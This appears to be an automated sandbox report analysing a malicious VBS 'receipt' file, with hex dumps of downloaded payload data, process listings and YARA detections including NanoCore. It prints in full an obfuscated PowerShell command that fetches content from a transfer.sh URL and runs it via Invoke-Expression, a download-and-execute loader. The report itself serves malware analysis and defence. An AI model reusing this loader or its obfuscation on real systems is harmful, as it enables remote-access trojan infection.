                          2021-09-14 19:25:31 UTC453INData Raw: 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 34 31 2d 33 33 2d 33 38 2d 34 31 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 31 2d 33 32 2d 33 30 2d 33 30 2d 33 32 2d 33 30 2d 33 37 2d 33 39 2d 33 32 2d 34 33 2d 34 36 2d 34 36 2d 33 32 2d 33 37 2d 33 36 2d 33 36 2d 33 32 2d 33 30 2d 33 32 2d 33 35 2d 33 36 2d 33 31 2d 34 31 2d 33 38 2d 33 30 2d 33 31 2d 33 35 2d 33 39 2d 33 32 2d 33 30 2d 33 32 2d 33 36 2d 34 35 2d 33 38 2d 34 36 2d 34 36 2d 33 32 2d 33 32 2d 33 35 2d 33 38 2d 33 36 2d 33 36 2d 33 32 2d 33 30 2d 33 37 2d 33 30 2d 34 31 2d 33 35 2d 34 31 2d 33 37 2d 33 30 2d 33 36 2d 33 35 2d 33 39 2d 33 32 2d 33 38 2d 33 31 2d 34 36 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 34 31 2d 33 32 2d 34 32 2d 33 33 2d 33 39 2d 33 31 2d 33
                          Data Ascii: 0-30-30-30-30-41-33-38-41-30-30-30-30-30-30-30-31-32-30-30-32-30-37-39-32-43-46-46-32-37-36-36-32-30-32-35-36-31-41-38-30-31-35-39-32-30-32-36-45-38-46-46-32-32-35-38-36-36-32-30-37-30-41-35-41-37-30-36-35-39-32-38-31-46-30-30-30-30-30-41-32-42-33-39-31-3
                          2021-09-14 19:25:31 UTC460INData Raw: 2d 34 36 2d 34 35 2d 33 30 2d 33 39 2d 33 30 2d 33 32 2d 33 30 2d 33 30 2d 33 32 2d 33 30 2d 34 36 2d 33 36 2d 33 31 2d 33 32 2d 34 35 2d 34 36 2d 34 32 2d 34 34 2d 33 36 2d 33 36 2d 33 32 2d 33 30 2d 33 32 2d 34 35 2d 33 35 2d 33 37 2d 34 35 2d 33 30 2d 34 36 2d 33 38 2d 33 35 2d 33 38 2d 33 32 2d 33 30 2d 34 32 2d 34 36 2d 33 30 2d 33 32 2d 33 30 2d 34 34 2d 34 34 2d 34 34 2d 33 36 2d 33 31 2d 33 36 2d 33 36 2d 33 36 2d 33 35 2d 33 32 2d 33 30 2d 34 32 2d 33 31 2d 34 34 2d 34 33 2d 34 34 2d 33 32 2d 33 31 2d 33 38 2d 33 36 2d 33 31 2d 33 36 2d 33 35 2d 33 32 2d 33 30 2d 33 34 2d 33 37 2d 33 39 2d 34 31 2d 33 32 2d 34 35 2d 34 36 2d 34 36 2d 33 35 2d 33 38 2d 33 35 2d 34 36 2d 33 39 2d 33 31 2d 34 36 2d 34 35 2d 33 30 2d 33 39 2d 33 30 2d 33 32 2d 33 30
                          Data Ascii: -46-45-30-39-30-32-30-30-32-30-46-36-31-32-45-46-42-44-36-36-32-30-32-45-35-37-45-30-46-38-35-38-32-30-42-46-30-32-30-44-44-44-36-31-36-36-36-35-32-30-42-31-44-43-44-32-31-38-36-31-36-35-32-30-34-37-39-41-32-45-46-46-35-38-35-46-39-31-46-45-30-39-30-32-30
                          2021-09-14 19:25:31 UTC467INData Raw: 33 34 2d 33 30 2d 33 30 2d 34 34 2d 33 37 2d 33 30 2d 33 32 2d 33 33 2d 33 36 2d 33 30 2d 33 30 2d 34 32 2d 34 35 2d 33 30 2d 33 32 2d 34 34 2d 34 32 2d 33 30 2d 33 32 2d 33 30 2d 33 31 2d 33 30 2d 33 30 2d 34 33 2d 33 35 2d 33 30 2d 33 32 2d 34 36 2d 33 32 2d 33 30 2d 33 31 2d 33 33 2d 33 31 2d 33 30 2d 33 30 2d 34 32 2d 33 35 2d 33 30 2d 33 30 2d 34 35 2d 34 33 2d 33 30 2d 33 32 2d 33 33 2d 33 36 2d 33 30 2d 33 30 2d 34 32 2d 34 35 2d 33 30 2d 33 30 2d 34 36 2d 33 30 2d 33 30 2d 33 32 2d 33 30 2d 33 31 2d 33 30 2d 33 30 2d 34 33 2d 33 30 2d 33 30 2d 33 30 2d 34 36 2d 33 32 2d 33 30 2d 33 31 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 38 2d 33 30 2d 33 30 2d 33 30 2d 33 39 2d 33 31 2d 33 32 2d 33 30 2d 34 32 2d 33 35 2d
                          Data Ascii: 34-30-30-44-37-30-32-33-36-30-30-42-45-30-32-44-42-30-32-30-31-30-30-43-35-30-32-46-32-30-31-33-31-30-30-42-35-30-30-45-43-30-32-33-36-30-30-42-45-30-30-46-30-30-32-30-31-30-30-43-30-30-30-46-32-30-31-30-30-30-30-30-30-30-30-38-30-30-30-39-31-32-30-42-35-
                          2021-09-14 19:25:31 UTC474INData Raw: 30 2d 33 32 2d 34 31 2d 34 32 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 32 2d 33 30 2d 33 30 2d 33 31 2d 33 30 2d 33 30 2d 34 32 2d 33 35 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 31 2d 33 30 2d 33 30 2d 34 32 2d 33 35 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 32 2d 33 30 2d 33 30 2d 33 32 2d 33 30 2d 33 30 2d 34 32 2d 34 35 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 31 2d 33 30 2d 33 30 2d 34 32 2d 33 35 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 32 2d 33 30 2d 33 30 2d 34 32 2d 34 35 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 31 2d 33 30 2d 33 30 2d 33 38 2d 34 33 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 32 2d 33 30 2d 33
                          Data Ascii: 0-32-41-42-30-30-30-30-32-30-30-31-30-30-42-35-30-30-30-30-30-30-30-31-30-30-42-35-30-30-30-30-32-30-30-32-30-30-42-45-30-30-30-30-30-30-30-31-30-30-42-35-30-30-30-30-30-30-30-32-30-30-42-45-30-30-30-30-30-30-30-31-30-30-38-43-30-30-30-30-30-30-30-32-30-3
                          2021-09-14 19:25:31 UTC481INData Raw: 2d 34 36 2d 33 33 2d 33 30 2d 33 33 2d 34 32 2d 33 32 2d 33 30 2d 33 30 2d 34 34 2d 33 31 2d 33 30 2d 33 30 2d 34 36 2d 33 33 2d 33 30 2d 33 33 2d 34 36 2d 33 34 2d 33 30 2d 33 32 2d 34 34 2d 33 39 2d 33 30 2d 33 30 2d 34 36 2d 33 33 2d 33 30 2d 33 33 2d 34 32 2d 33 32 2d 33 30 2d 33 30 2d 34 35 2d 33 31 2d 33 30 2d 33 30 2d 34 36 2d 33 33 2d 33 30 2d 33 33 2d 33 32 2d 33 31 2d 33 30 2d 33 33 2d 34 36 2d 33 31 2d 33 30 2d 33 30 2d 34 36 2d 33 33 2d 33 30 2d 33 33 2d 33 33 2d 33 30 2d 33 30 2d 33 33 2d 34 36 2d 33 39 2d 33 30 2d 33 30 2d 34 36 2d 33 33 2d 33 30 2d 33 33 2d 33 33 2d 33 30 2d 33 30 2d 33 33 2d 33 30 2d 33 31 2d 33 30 2d 33 31 2d 34 36 2d 33 33 2d 33 30 2d 33 33 2d 33 33 2d 33 30 2d 33 30 2d 33 33 2d 33 30 2d 33 39 2d 33 30 2d 33 31 2d 34 36
                          Data Ascii: -46-33-30-33-42-32-30-30-44-31-30-30-46-33-30-33-46-34-30-32-44-39-30-30-46-33-30-33-42-32-30-30-45-31-30-30-46-33-30-33-32-31-30-33-46-31-30-30-46-33-30-33-33-30-30-33-46-39-30-30-46-33-30-33-33-30-30-33-30-31-30-31-46-33-30-33-33-30-30-33-30-39-30-31-46
                          2021-09-14 19:25:31 UTC489INData Raw: 33 30 2d 33 35 2d 33 33 2d 33 37 2d 33 34 2d 33 37 2d 33 32 2d 33 36 2d 33 39 2d 33 36 2d 34 35 2d 33 36 2d 33 37 2d 33 30 2d 33 30 2d 33 36 2d 33 37 2d 33 36 2d 33 35 2d 33 37 2d 33 34 2d 33 35 2d 34 36 2d 33 34 2d 34 33 2d 33 36 2d 33 35 2d 33 36 2d 34 35 2d 33 36 2d 33 37 2d 33 37 2d 33 34 2d 33 36 2d 33 38 2d 33 30 2d 33 30 2d 33 36 2d 33 39 2d 33 30 2d 33 30 2d 33 36 2d 34 31 2d 33 30 2d 33 30 2d 33 34 2d 33 31 2d 33 37 2d 33 33 2d 33 37 2d 33 39 2d 33 36 2d 34 35 2d 33 36 2d 33 33 2d 33 34 2d 33 33 2d 33 36 2d 33 31 2d 33 36 2d 34 33 2d 33 36 2d 34 33 2d 33 36 2d 33 32 2d 33 36 2d 33 31 2d 33 36 2d 33 33 2d 33 36 2d 34 32 2d 33 30 2d 33 30 2d 33 34 2d 34 34 2d 33 36 2d 33 31 2d 33 37 2d 33 32 2d 33 37 2d 33 33 2d 33 36 2d 33 38 2d 33 36 2d 33 31 2d
                          Data Ascii: 30-35-33-37-34-37-32-36-39-36-45-36-37-30-30-36-37-36-35-37-34-35-46-34-43-36-35-36-45-36-37-37-34-36-38-30-30-36-39-30-30-36-41-30-30-34-31-37-33-37-39-36-45-36-33-34-33-36-31-36-43-36-43-36-32-36-31-36-33-36-42-30-30-34-44-36-31-37-32-37-33-36-38-36-31-
                          2021-09-14 19:25:31 UTC496INData Raw: 30 2d 33 35 2d 33 30 2d 33 38 2d 33 30 2d 33 34 2d 33 30 2d 33 30 2d 33 30 2d 33 31 2d 33 30 2d 33 38 2d 33 30 2d 33 39 2d 33 30 2d 33 35 2d 33 30 2d 33 30 2d 33 30 2d 33 31 2d 33 31 2d 33 32 2d 33 33 2d 34 34 2d 33 30 2d 33 38 2d 33 30 2d 33 34 2d 33 30 2d 34 31 2d 33 30 2d 33 31 2d 33 31 2d 33 32 2d 33 30 2d 34 33 2d 33 30 2d 33 34 2d 33 30 2d 34 31 2d 33 30 2d 33 31 2d 33 31 2d 33 32 2d 33 31 2d 33 30 2d 33 30 2d 33 34 2d 33 30 2d 34 31 2d 33 30 2d 33 31 2d 33 31 2d 33 32 2d 33 31 2d 33 34 2d 33 30 2d 33 34 2d 33 30 2d 34 31 2d 33 30 2d 33 31 2d 33 31 2d 33 32 2d 33 31 2d 33 38 2d 33 30 2d 33 34 2d 33 30 2d 34 31 2d 33 30 2d 33 31 2d 33 31 2d 33 32 2d 33 31 2d 34 33 2d 33 30 2d 33 34 2d 33 30 2d 34 31 2d 33 30 2d 33 31 2d 33 31 2d 33 32 2d 33 32 2d 33
                          Data Ascii: 0-35-30-38-30-34-30-30-30-31-30-38-30-39-30-35-30-30-30-31-31-32-33-44-30-38-30-34-30-41-30-31-31-32-30-43-30-34-30-41-30-31-31-32-31-30-30-34-30-41-30-31-31-32-31-34-30-34-30-41-30-31-31-32-31-38-30-34-30-41-30-31-31-32-31-43-30-34-30-41-30-31-31-32-32-3
                          2021-09-14 19:25:31 UTC503INData Raw: 2d 33 34 2d 33 33 2d 33 30 2d 33 30 2d 33 36 2d 34 36 2d 33 30 2d 33 30 2d 33 36 2d 34 34 2d 33 30 2d 33 30 2d 33 36 2d 34 34 2d 33 30 2d 33 30 2d 33 36 2d 33 35 2d 33 30 2d 33 30 2d 33 36 2d 34 35 2d 33 30 2d 33 30 2d 33 37 2d 33 34 2d 33 30 2d 33 30 2d 33 37 2d 33 33 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 30 2d 33 32 2d 33 32 2d 33 30 2d 33 30 2d 33 30 2d 33 31 2d 33 30 2d 33 30 2d 33 30 2d 33 31 2d 33 30 2d 33 30 2d 33 34 2d 33 33 2d 33 30 2d 33 30 2d 33 36 2d 34 36 2d 33 30 2d 33 30 2d 33 36 2d 34 34 2d 33 30 2d 33 30 2d 33 37 2d 33 30 2d 33 30 2d 33 30 2d 33 36 2d 33 31 2d 33 30 2d 33 30 2d 33 36 2d 34 35 2d 33 30 2d 33 30 2d 33 37 2d 33 39 2d 33 30 2d 33 30 2d 33 34
                          Data Ascii: -34-33-30-30-36-46-30-30-36-44-30-30-36-44-30-30-36-35-30-30-36-45-30-30-37-34-30-30-37-33-30-30-30-30-30-30-30-30-30-30-30-30-30-30-32-32-30-30-30-31-30-30-30-31-30-30-34-33-30-30-36-46-30-30-36-44-30-30-37-30-30-30-36-31-30-30-36-45-30-30-37-39-30-30-34
                          2021-09-14 19:25:31 UTC510INData Raw: 37 39 2d 37 34 2d 36 35 2d 35 62 2d 35 64 2d 35 64 2d 32 34 2d 34 38 2d 33 36 2d 33 64 2d 32 30 2d 35 36 2d 34 39 2d 35 30 2d 32 30 2d 32 34 2d 34 38 2d 34 38 2d 30 61 2d 32 34 2d 36 31 2d 36 31 2d 32 30 2d 33 64 2d 32 30 2d 32 37 2d 34 65 2d 34 35 2d 35 34 2d 32 65 2d 35 30 2d 34 35 2d 32 37 2d 30 61 2d 32 34 2d 36 32 2d 36 32 2d 32 30 2d 33 64 2d 32 30 2d 32 37 2d 34 32 2d 36 31 2d 36 34 2d 36 37 2d 36 35 2d 37 32 2d 32 37 2d 30 61 2d 32 34 2d 36 66 2d 36 66 2d 32 30 2d 33 64 2d 32 37 2d 34 37 2d 36 35 2d 37 34 2d 34 38 2d 34 39 2d 35 33 2d 35 34 2d 34 66 2d 35 32 2d 35 32 2d 35 39 2d 32 37 2d 32 65 2d 35 32 2d 36 35 2d 37 30 2d 36 63 2d 36 31 2d 36 33 2d 36 35 2d 32 38 2d 32 32 2d 34 38 2d 34 39 2d 35 33 2d 35 34 2d 34 66 2d 35 32 2d 35 32 2d 35 39 2d
                          Data Ascii: 79-74-65-5b-5d-5d-24-48-36-3d-20-56-49-50-20-24-48-48-0a-24-61-61-20-3d-20-27-4e-45-54-2e-50-45-27-0a-24-62-62-20-3d-20-27-42-61-64-67-65-72-27-0a-24-6f-6f-20-3d-27-47-65-74-48-49-53-54-4f-52-52-59-27-2e-52-65-70-6c-61-63-65-28-22-48-49-53-54-4f-52-52-59-


                          Code Manipulations

                          Statistics

                          CPU Usage

                          Click to jump to process

                          Memory Usage

                          Click to jump to process

                          High Level Behavior Distribution

                          Click to dive into process behavior distribution

                          Behavior

                          Click to jump to process

                          System Behavior

                          General

                          Start time:21:24:35
                          Start date:14/09/2021
                          Path:C:\Windows\System32\wscript.exe
                          Wow64 process (32bit):false
                          Commandline:C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\7-Items-receipt.vbs'
                          Imagebase:0x7ff734900000
                          File size:163840 bytes
                          MD5 hash:9A68ADD12EB50DDE7586782C3EB9FF9C
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Yara matches:
                          • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000003.412042111.000002BCBD041000.00000004.00000001.sdmp, Author: Florian Roth
                          • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000002.415688123.000002BCBB6AE000.00000004.00000001.sdmp, Author: Florian Roth
                          • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000002.415938547.000002BCBB6CC000.00000004.00000001.sdmp, Author: Florian Roth
                          • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000003.414286763.000002BCBB6AA000.00000004.00000001.sdmp, Author: Florian Roth
                          • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000002.417503802.000002BCBB845000.00000004.00000040.sdmp, Author: Florian Roth
                          • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000003.413965340.000002BCBB6A3000.00000004.00000001.sdmp, Author: Florian Roth
                          • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000002.415657190.000002BCBB6AB000.00000004.00000001.sdmp, Author: Florian Roth
                          • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000003.413277517.000002BCBB698000.00000004.00000001.sdmp, Author: Florian Roth
                          • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000002.417770750.000002BCBD040000.00000004.00000001.sdmp, Author: Florian Roth
                          • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000003.413195410.000002BCBB695000.00000004.00000001.sdmp, Author: Florian Roth
                          • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000002.415530090.000002BCBB699000.00000004.00000001.sdmp, Author: Florian Roth
                          • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000001.00000003.414356002.000002BCBB6AD000.00000004.00000001.sdmp, Author: Florian Roth
                          Reputation:high

                          General

                          Start time:21:24:36
                          Start date:14/09/2021
                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          Wow64 process (32bit):false
                          Commandline:'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split '-X-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
                          Imagebase:0x7ff785e30000
                          File size:447488 bytes
                          MD5 hash:95000560239032BC68B4C2FDFCDEF913
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:.Net C# or VB.NET
                          Yara matches:
                          • Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000004.00000002.403054021.000001EE01671000.00000004.00000001.sdmp, Author: Florian Roth
                          Reputation:high

                          General

                          Start time:21:24:36
                          Start date:14/09/2021
                          Path:C:\Windows\System32\conhost.exe
                          Wow64 process (32bit):false
                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          Imagebase:0x7ff6b2800000
                          File size:625664 bytes
                          MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Reputation:high

                          General

                          Start time:21:25:53
                          Start date:14/09/2021
                          Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                          Wow64 process (32bit):false
                          Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                          Imagebase:0x280000
                          File size:55400 bytes
                          MD5 hash:17CC69238395DF61AAF483BCEF02E7C9
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Reputation:moderate

                          General

                          Start time:21:25:53
                          Start date:14/09/2021
                          Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                          Wow64 process (32bit):true
                          Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                          Imagebase:0x6e0000
                          File size:55400 bytes
                          MD5 hash:17CC69238395DF61AAF483BCEF02E7C9
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:.Net C# or VB.NET
                          Yara matches:
                          • Rule: NanoCore, Description: unknown, Source: 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
                          Reputation:moderate

                          Disassembly

                          Code Analysis

                          Reset < >